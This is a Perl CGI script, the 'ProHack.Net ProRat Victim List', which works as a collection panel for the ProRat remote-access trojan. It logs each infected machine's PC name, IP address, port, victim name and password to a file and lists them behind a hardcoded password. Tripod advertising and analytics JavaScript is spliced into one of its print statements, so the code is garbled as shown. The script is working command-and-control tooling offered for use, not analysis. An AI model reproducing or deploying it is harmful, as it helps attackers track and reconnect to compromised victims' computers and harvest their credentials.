#!/usr/bin/perl
#################################################################################################
#                                                                                               #
#          soMMMMo    MMMMMMo                   MMMMMMo        oMMs           MMsssss           #
#         MMMMMMMMM   MMMMMMMMs     oMMMMo      MMMMMMMMs      MMMM       MMMMMMMMMMM           #
#         MMMMs  oMo  oMMMMMMMo    sMMMMMMMs    oMMMMMMMo      MMMMs      MMMMMMMMMMM           #
#         oMMs    MM  soMMs oMM    sMMMs oMMs   soMMs oMM      MMMMo      MMooMMos              #
#         sMMo   sMM   sMMs  MM    oMMs   MMM    sMMs  MM     sMMoMM          MMo               #
#          sMM   oMo   sMMs sMM    MMM    oMMo   sMMs sMM     sMMsMMs         MMo               #
#           MMs oMMs   oMMooMMo    MMM    sMMM   oMMooMMo     oMM MMM         MMo               #
#           MMMMMMo    oMMMMMM     MMM    sMMM   oMMMMMM      oMM oMMs        MMo               #
#           MMMMMs     oMMMMMs     MMMs    MMM   oMMMMMs      oMM oMMo        oMo               #
#           MMM        oMMMMMs     MMMs    MMM   oMMMMMs     sMMMMMMMM        oMo               #
#           oMM        oMMMMMM     oMMo    MMM   oMMMMMM     MMMMMMMMMs       oMM               #
#           oMMs       oMMoMMMo    sMMo    MMo   oMMoMMMo    MMMo  oMMM       oMM               #
#           oMMo       oMMooMMMMs   MMM   sMMs   oMMooMMMMs  sMMo  sMMMs      oMM               #
#           oMMM       oMMo oMMM    oMMo sMMM    oMMo oMMM   sMMo   MMMo      oMM               #
#           oMMMs      oMMo  sMs     oMMMMMMs    oMMo  sMs   oMMo   MMMo      oMM               #
#           soMMo      MMMo           oMMMo      MMMo        oMMo   oos       soMs              #
#                                                                                               #
#################################################################################################
#                                             ABOUT                                             #
#################################################################################################
#  ProHack.Net ProRat Victim List                                                               #
#  Web        : http://www.prorat.net                                                           #
#  Web        : http://www.prohack.net                                                          #
#  Web        : http://www.prohack.org                                                          #
#  Web        : http://www.proprogram.net                                                       #
#  Email      : admin@prohack.net                                                               #
#  Coded by   : PRO Group                                                                       #
#################################################################################################
#                                           LANGUAGE                                            #
#################################################################################################
$lang1 = "Cant be found!";
$lang2 = "ProHack.Net ProRat Victim List (-Please enter you password again-)";
$lang3 = "Wrong Password. Please check your password!";
$lang4 = "OKEY";
$lang5 = "ProHack.Net ProRat Victim List (-Enter Your Password-)";
$lang6 = "Please Enter Your Password:";
$lang7 = "ProHack.Net ProRat Victim List";
$lang8 = "PROHACK.NET PRORAT VICTIM LİST";
$lang9 = "CGI TEST :";
$lang10 = "TEST";
$lang11 = "JANUARY";
$lang12 = "FEBRUARY";
$lang13 = "MARCH";
$lang14 = "APRIL";
$lang15 = "MAY";
$lang16 = "JUNE";
$lang17 = "JULY";
$lang18 = "AUGUST";
$lang19 = "SEPTEMBER";
$lang20 = "OCTOBER";
$lang21 = "NOVEMBER";
$lang22 = "DECEMBER";
$lang23 = "SUNDAY";
$lang24 = "MONDAY";
$lang25 = "TUESDAY";
$lang26 = "WEDNESDAY";
$lang27 = "THURSDAY";
$lang28 = "FRIDAY";
$lang29 = "SATURDAY";
$lang30 = "DATE:";
$lang31 = "TIME:";
$lang32 = "REFRESH PAGE";
$lang33 = "DELETE RECORDS";
$lang34 = "PC NAME";
$lang35 = "IP ADDRESS";
$lang36 = "PORT";
$lang37 = "VICTIM";
$lang38 = "SERVER";
$lang39 = "TIME";
$lang40 = "DATE";
$lang41 = "PASSWORD";
$lang42 = "windows-1252";
#################################################################################################

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@ciftler = split(/&/, $buffer);
foreach $cift (@ciftler)
{
($isim, $deger) = split(/=/, $cift);
$deger =~ s/(%0D)+//ig; 
$deger =~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/\n/<br>/g;
${$isim} = $deger;
}
@degerler=split(/&/,$ENV{'QUERY_STRING'});
  foreach $i (@degerler) {
  ($alanadi,$deger)=split(/=/,$i);
  $deger=~ tr/+/ /;
  $deger=~ s/%(..)/pack("c",hex($1))/ge;
  $deger =~ s/\n/<br>/g;  
  ${$alanadi}=$deger;
}
#################################################################################################
#                                           SETTINGS                                            #
#################################################################################################
$script_name = "755";
$log_file = "600";
$password  = "123456";
$show_list  = "100";
#################################################################################################

open (FILE,"+<$log_file") || die "$log_file $lang1\n"; 
@list = <fILE>;
close(FILE);
@list=reverse(@list);

while ($#list >= $show_list) { 
pop @list; 
} 

if ($islem eq "log"){&log;exit;}
if (($islem eq "temizle")&&($pass eq $password)){&temizle;exit;}
if ($password eq ""){&sayfa;}
if ($islem eq ""){&pass;exit;}
if (($islem eq "giris")&&($pass eq $password)){&sayfa;exit;}&hatali;exit;

sub hatali {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang2</title></head>\n";
print "<body bgcolor=#235BD9><!-- begin compete js -->
<script type="text/javascript">
    __compete_code = '667f89f26d96c30e99728fe6a608804d';
    (function () {
        var s = document.createElement('script'),
            d = document.getElementsByTagName('head')[0] ||
                document.getElementsByTagName('body')[0],
            t = 'https:' == document.location.protocol ? 
                'https://c.compete.com/bootstrap/' : 
                'http://c.compete.com/bootstrap/';
        s.src = t + __compete_code + '/bootstrap.js';
        s.type = 'text/javascript';
        s.async = 'async'; 
        if (d) { d.appendChild(s); }
    }());
</script>
<!-- end compete js -->

<!-- quantcast -->
<script type="text/javascript">
	function channValidator(chann){
	return (typeof(chann) == 'string' && chann != '');
	}

	function lycosQuantcast(){
		var lb = "";
		if(typeof(cm_host) !== 'undefined' && channValidator(cm_host)){
			lb += cm_host.split('.')[0] + '.';
		}
	
		if(typeof(cm_taxid) !==	'undefined' && channValidator(cm_taxid)){
			lb += cm_taxid;
			lb = lb.replace('/','');
		} else {
			lb = lb.replace('.','');
		}
		return lb;
	}
	
	var _qevents = _qevents || [];
	
	(function() {
		var elem = document.createElement('script');
		elem.src = (document.location.protocol == "https:" ? "https://secure" :"http://edge") + ".quantserve.com/quant.js";
		elem.async = true;
		elem.type = "text/javascript";
		var scpt = document.getElementsByTagName('script')[0];
		scpt.parentNode.insertBefore(elem, scpt);
	})();
	
	_qevents.push({
		qacct:"p-6eQegedn62bSo",
		labels:lycosQuantcast()
	});
</script>
<!-- end quantcast -->

<!-- Begin OwnerIQ js -->
<script type="text/javascript">
  var __oiq_pct = 50;
  if( __oiq_pct>=100 || Math.floor(Math.random()*100/(100-__oiq_pct)) > 0 ) {
    var _oiqq = _oiqq || [];
    _oiqq.push(['oiq_addPageBrand', 'Lycos']);
    _oiqq.push(['oiq_addPageCat', 'Internet > Websites']);
    _oiqq.push(['oiq_addPageLifecycle', 'Intend']);
    _oiqq.push(['oiq_doTag']);

    (function() {
      var oiq = document.createElement('script'); oiq.type = 'text/javascript'; oiq.async = true;
      oiq.src = document.location.protocol + '//px.owneriq.net/stas/s/lycosn.js';
      var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(oiq, s);
    })();
  }
</script>
<!-- End OwnerIQ -->

<!-- Begin Google Analytics -->
<script type="text/javascript">
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-21402695-19']);
  _gaq.push(['_setDomainName', 'tripod.com']);
  _gaq.push(['_setCustomVar', 1, 'member_name', 'alabbasnetcafe', 3]);
  _gaq.push(['_trackPageview']);
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
<!-- End Google Analytics -->

<script type="text/javascript">
function getReferrer() {
    // Reads the referrer out of the cookie, if available.
    var all= this.document.cookie;
    if (all== '') return false;
    var cookie_name = 'REFERRER=';
    var start = all.lastIndexOf(cookie_name);
    if (start == -1) return false;  // referrer URL not found.
    start += cookie_name.length;
    var end = all.indexOf(';', start);
    if (end == -1) end = all.length;
    return all.substring(start, end);
}
function getQuery() {
    // Get the referrer search query from cookie, if available.
    var rfr = getReferrer();
    if (rfr == '') return false;
    var q = extractQuery(rfr, 'yahoo.com', 'p=');
    if (q) return q;
    q = extractQuery(rfr, '', 'q=');
    return q ? q : "";
}
function extractQuery(full, site, q_param) {
    var start = full.lastIndexOf(site);
    if (start == -1) return false;
    start = full.lastIndexOf(q_param);
    if (start == -1) return false;
    start += q_param.length;
    var end = full.indexOf('&', start);
    if (end == -1) end = full.length;
    return unescape(full.substring(start, end)).split(" ").join("+");
}
var cm_role = "live";
var cm_host = "tripod.lycos.com";
var cm_taxid = "/memberembedded";
var tripod_member_name = "alabbasnetcafe";
var tripod_member_page = "alabbasnetcafe/index.html";
var tripod_ratings_hash = "1338102167:aadb397ba037f41b807c1bf07d8c36c0";

var lycos_ad_category = null;

var lycos_ad_remote_addr = "38.107.179.218";
var lycos_ad_www_server = "www.tripod.lycos.com";
var lycos_ad_track_small = "http://members.tripod.com/adm/img/common/ot_smallframe.gif?rand=909686";
var lycos_ad_track_served = "http://members.tripod.com/adm/img/common/ot_adserved.gif?rand=909686";
var lycos_search_query = getQuery();
</script>

<script type="text/javascript" src="http://scripts.lycos.com/catman/init.js"></script>
<script type="text/javascript"> 

var lycos_ad = Array();
var lycos_onload_timer;

function lycos_check_size() {
    var window_width = 0, window_height = 0;
    if (typeof(window.innerWidth) == 'number' ) {
        window_width = window.innerWidth;
        window_height = window.innerHeight;
    } else if (document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) {
        window_width = document.documentElement.clientWidth;
        window_height = document.documentElement.clientHeight;
    } else if (document.body && (document.body.clientWidth || document.body.clientHeight)) {
        window_width = document.body.clientWidth;
        window_height = document.body.clientHeight;
    } 
    
    var lycos_track_img = document.createElement('img');
    if( top == self ) {
        return 1;
    } else {
        if ((window_width < 300) || (window_height < 300)) {
            lycos_track_img.src=this.lycos_ad_track_small+"&w="+window_width+"&h="+window_height;
            return 0;
        } else {
            lycos_track_img.src=this.lycos_ad_track_served+"&w="+window_width+"&h="+window_height;
            return 1;
        }
    }
}
       
function lycos_insert_ads() {
    var lycos_ad_mgr = new AdManager();
    
    if (this.lycos_search_query) {
        lycos_ad_mgr.setForcedParam("keyword", this.lycos_search_query);
    } else if (this.lycos_ad_category && this.lycos_ad_category.find_what) {
        lycos_ad_mgr.setForcedParam("keyword", this.lycos_ad_category.find_what);
    }

    if (this.lycos_ad_category && this.lycos_ad_category.dmoz) {
        lycos_ad_mgr.setForcedParam("page", this.lycos_ad_category.dmoz);
    } else {
        lycos_ad_mgr.setForcedParam("page", "member");
    }

    var lycos_prod_set = lycos_ad_mgr.chooseProductSet();
    var slots = ["leaderboard", "leaderboard2"];
    for (var slot in slots) {
        if (lycos_ad_mgr.isSlotAvailable(slots[slot])) {
            lycos_ad[slots[slot]] = lycos_ad_mgr.getSlot(slots[slot]);
        }
    }

    lycos_ad_mgr.renderFooter();
}

function generateHref(atag, template){
    atag.href=template.replace('_MYURL_', window.location.href.replace('http://', '')).replace('_MYTITLE_', 'Check%20out%20this%20Tripod%20Member%20site!'); 
}

if (lycos_check_size()) {
    lycos_insert_ads();
}

window.onload = function() {
    var f = document.getElementById("FooterAd");
    var b = document.getElementsByTagName("body")[0];
    b.removeChild(f);
    b.appendChild(f);
    f.style.display = "block";
}

</script>
<style>
	#body .adCenterClass{margin:0 auto}
</style>

<div id="tb_container" style="background:#DFDCCF; border-bottom:1px solid #393939; position:relative; z-index:999999999!important">
    <div id="tb_ad" class="adCenterClass" style="display:block!important; overflow:hidden; width:916px;">
    <a href="http://adtrack.ministerial5.com/clicknew/?a=637394" title="build your own website at Tripod.com" style="float:left; width:186px; border:0">
    	<img src="http://ly.lygo.com/ly/tpSite/images/freeAd2.jpg" alt="Make your own free website on Tripod.com" style="border:0; display:block" />
    </a> 
        <div id="ad_container" style="display:block!important; float:left; width:728px ">
        <script type="text/javascript">document.write(lycos_ad['leaderboard']);</script>
        </div>
    </div>
</div>


<div id="FooterAd" style="background:#DFDCCF; border-top:1px solid #393939; clear:both; display:none; width:100%!important; position:relative; z-index:999999!important; height:90px!important"> 
	<div class="adCenterClass" style="display:block!important; overflow:hidden; width:916px;">
	<a href="http://adtrack.ministerial5.com/clicknew/?a=637394" title="build your own website at Tripod.com" style="float:left; display:block; width:186px; border:0">
    	<img src="http://ly.lygo.com/ly/tpSite/images/freeAd2.jpg" alt="Make your own free website on Tripod.com" style="border:0; display:block; " />
    </a> 
        <div id="footerAd_container" style="display:block!important; float:left; width:728px">
        <script type="text/javascript">document.write(lycos_ad['leaderboard2']);</script>
        </div>
	</div>
</div>
<noscript>
 <img src="http://members.tripod.com/adm/img/common/ot_noscript.gif?rand=909686" alt="" width="1" height="1" />
 <!-- BEGIN STANDARD TAG - 728 x 90 - Lycos - Tripod Fallthrough - DO NOT MODIFY -->
 <iframe frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="728" height="90" src="http://ad.yieldmanager.com/st?ad_type=iframe&amp;ad_size=728x90&amp;section=209094"></iframe>
 <!-- END TAG -->
</noscript>
\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"40%\" align=center><br><br><br><br>\n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>\n";
print "<b>$lang3</b></font></table></center></tr></center>\n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr><br></tr></table></center>\n";  
print "<center><form action=$script_name>\n";
print "<input type=parola  name=pass size=30%>\n";
print "<input type=hidden name=islem value=giris>\n";
print "<input type=submit value=\"$lang4\">\n";
print "</form></center><br>\n";
print "</td></tr></table>\n";   
print "</body></html>\n";
exit;
}

sub pass {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang5</title></head>\n";
print "<body bgcolor=#235BD9>\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"40%\" align=center><br><br><br><br>\n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>\n";
print "<b>$lang6</b></font></table></center></tr></center>\n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr><br></tr></table></center>\n";
print "<center><form action=$script_name>\n";
print "<input type=parola  name=pass size=30%>\n";
print "<input type=hidden name=islem value=giris>\n";
print "<input type=submit value=\"$lang4\">\n";
print "</form></center><br>\n";
print "</td></tr></table>\n";   
print "</body></html>\n";
exit;
}

sub sayfa {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang7</title>\n";
print "<style type=text/css><!--body {scrollbar-face-color:#E0E4F3; scrollbar-highlight-color:#5969AE;\n";
print "scrollbar-shadow-color: #5969AE; scrollbar-arrow-color:  #5969AE; scrollbar-track-color: #0101F5; }\n";
print "A:active {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A:hover {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A:link {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none} -->\n";
print "</style></head><body onLoad=\"startclock();\" topmargin=\"4\" bgcolor=\"#0101F5\"><center><a href=\"http://www.prohack.net\">\n";
print "<font color=#E0E4F3 style=font-size:18 face=Times New Roman>=<b><u>$lang8</u></b></a>=\n";
print "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" id=\"AutoNumber1\" width=\"100%\">\n";
print "<tr><td><form method=\"POST\" action=\"$script_name\"><input type=\"hidden\" name=\"islem\" value=\"log\">\n";
print "<input type=\"hidden\" name=\"pass\" value=\"$password\"><p align=\"center\"><b><font color=\"#E0E4F3\">$lang9</font></b>\n";
print "<input type=\"text\" name=\"bilgisayaradi\" size=\"10\" value=\"$lang34\" tabindex=\"01\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"ipadresi\" size=\"10\" value=\"$lang35\" tabindex=\"02\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serverportu\" size=\"10\" value=\"$lang36\" tabindex=\"03\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"kurban\" size=\"10\" value=\"$lang37\" tabindex=\"04\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"servermodeli\" size=\"10\" value=\"$lang38\" tabindex=\"05\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serversaati\" size=\"10\" value=\"$lang39\" tabindex=\"06\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"servertarihi\" size=\"10\" value=\"$lang40\" tabindex=\"07\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serversifre\" size=\"10\" value=\"$lang41\" tabindex=\"08\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;<input type=\"submit\" value=\"$lang10\" name=\"TEST\" tabindex=\"09\" style=\"border: 3px double #5969AE; background-color: #E0E4F3; font-weight:bold\">\n";
print "</p></form></td></tr></table>\n";
print "<script language=\"JavaScript\">\n";
print "var timerID = null\n";
print "var timerRunning = false\n";
print "function MakeArray(size) \n";
print "{\n";
print "this.length = size;\n";
print "for(var i = 1; i <= size; i++)\n";
print "{\n";
print "this[i] = \"\";\n";
print "}\n";
print "return this;\n";
print "}\n";
print "function stopclock (){\n";
print "if(timerRunning)\n";
print "clearTimeout(timerID);\n";
print "timerRunning = false\n";
print "}\n";
print "function showtime () {\n";
print "var now = new Date();\n";
print "year = new String(now.getYear())\n";
print "yearLen = year.length\n";
print "year = year.split(\"\")\n";
print "year = year[yearLen - 4] + year[yearLen - 3] + year[yearLen - 2] + year[yearLen - 1]\n";
print "var month = now.getMonth()+1;\n";
print "Month = new MakeArray(12);\n";
print "Month[1]=\"$lang11\";\n";
print "Month[2]=\"$lang12\";\n";
print "Month[3]=\"$lang13\";\n";
print "Month[4]=\"$lang14\";\n";
print "Month[5]=\"$lang15\";\n";
print "Month[6]=\"$lang16\";\n";
print "Month[7]=\"$lang17\";\n";
print "Month[8]=\"$lang18\";\n";
print "Month[9]=\"$lang19\";\n";
print "Month[10]=\"$lang20\";\n";
print "Month[11]=\"$lang21\";\n";
print "Month[12]=\"$lang22\";\n";
print "var date = now.getDate();\n";
print "var hours = now.getHours();\n";
print "var minutes = now.getMinutes();\n";
print "var seconds = now.getSeconds();\n";
print "var day = now.getDay();\n";
print "Day = new MakeArray(7);\n";
print "Day[0]=\"$lang23\";\n";
print "Day[1]=\"$lang24\";\n";
print "Day[2]=\"$lang25\";\n";
print "Day[3]=\"$lang26\";\n";
print "Day[4]=\"$lang27\";\n";
print "Day[5]=\"$lang28\";\n";
print "Day[6]=\"$lang29\";\n";
print "var timeValue = \"\";\n";
print "timeValue += ((month < 10) ? \" \" : \" \");\n";
print "timeValue += \"$lang30 \" + date + \"-\" + (Month[month]) + \"-\" + year + \"-\" + (Day[day]) + \"    \" + \"$lang31 \";\n";
print "timeValue += ((hours <= 24) ? hours : hours - 12);\n";
print "timeValue += ((minutes < 10) ? \":0\" : \":\") + minutes;\n";
print "timeValue += ((seconds < 10) ? \":0\" : \":\") + seconds;\n";
print "timeValue += (hours < 12) ? \" AM\" : \" PM\";\n";
print "document.saatvetarih.face.value = timeValue;\n";
print "timerID = setTimeout(\"showtime()\",1000);\n";
print "timerRunning = true\n";
print "}\n";
print "function startclock () {\n";
print "stopclock();\n";
print "showtime()\n";
print "}\n";
print "// End Hiding -->\n";
print "</script>\n";
print "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\">\n";
print "<tr><td width=\"34%\" align=\"center\"><form name=\"saatvetarih\">\n";
print "<input type=text name='face' size=55 style=\"border-style:solid; border-width:0; color: #E0E4F3; font-family: sans-serif, Arial, Helvetica; background-color: #0101F5; font-size:10px; font-weight:bold\">\n";
print "</td></form><td width=\"33%\" align=\"center\"><b><font size=\"1\"><a href=\"$script_name?pass=$pass&islem=giris\" style=\"text-decoration: none\">\n";
print "<font color=\"#E0E4F3\">$lang32</font></a></font></b></td><td width=\"33%\" align=\"center\"><b><font size=\"1\">\n";
print "<a href=\"$script_name?pass=$pass&islem=temizle\" style=\"text-decoration: none\">\n";
print "<font color=\"#E0E4F3\">$lang33</font></a></font></b></td></tr></table></center>\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"100%\">\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang34&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang35&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang36&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang37&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang38&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang39&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang40&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang41&nbsp;</b></td>@list\n";
print "</tr></table></body></html>\n";
exit;
}

sub log {
$mono = "<tr><td>".$bilgisayaradi."</td><td>".$ipadresi."</td><td>".$serverportu."</td><td>".$kurban."</td><td>".$servermodeli."</td><td>".$serversaati."</td><td>".$servertarihi."</td><td>".$serversifre."</td>\n";
open(DOSYA,">>$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$pass\n\n";
}

sub temizle {
open(DOSYA,">$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$pass\n\n";
}
<tr><td>PC Adı</td><td>IP Adresi</td><td>Port</td><td>Kurban</td><td>Server</td><td>Saat</td><td>Tarih</td><td>Şifre</td>
<tr><td>PC Adı</td><td>IP Adresi</td><td>Port</td><td>Kurban</td><td>Server</td><td>Saat</td><td>Tarih</td><td>Şifre</td>
<tr><td>PC Adı</td><td>IP Adresi</td><td>Port</td><td>Kurban</td><td>Server</td><td>Saat</td><td>Tarih</td><td>Şifre</td>
<tr><td>PC Adı</td><td>IP Adresi</td><td>Port</td><td>Kurban</td><td>Server</td><td>Saat</td><td>Tarih</td><td>Şifre</td>
<tr><td>PC Adı</td><td>IP Adresi</td><td>Port</td><td>Kurban</td><td>Server</td><td>Saat</td><td>Tarih</td><td>Şifre</td>

#                                                                             ProHack.Net Profesyonel Internet !!!